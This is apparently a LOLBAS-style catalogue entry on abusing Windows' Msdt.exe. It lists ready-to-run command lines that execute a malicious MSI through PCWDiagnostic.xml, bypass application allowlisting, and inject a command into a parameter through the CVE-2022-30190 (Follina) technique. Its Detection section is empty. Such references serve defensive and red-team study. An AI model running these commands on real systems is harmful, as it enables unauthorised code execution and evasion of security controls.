Msdt.exe

Microsoft diagnostics tool

Paths

  • C:\Windows\System32\Msdt.exe
  • C:\Windows\SysWOW64\Msdt.exe

Commands

Execute

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.

Use case: Execute code

Privileges: User

msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE

AWL Bypass

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.

Use case: Execute code bypass Application whitelisting

Privileges: User

msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE

AWL Bypass

Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the "PCWDiagnostic" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.

Use case: Execute code bypass Application allowlisting

Privileges: User

msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"

Detection

Resources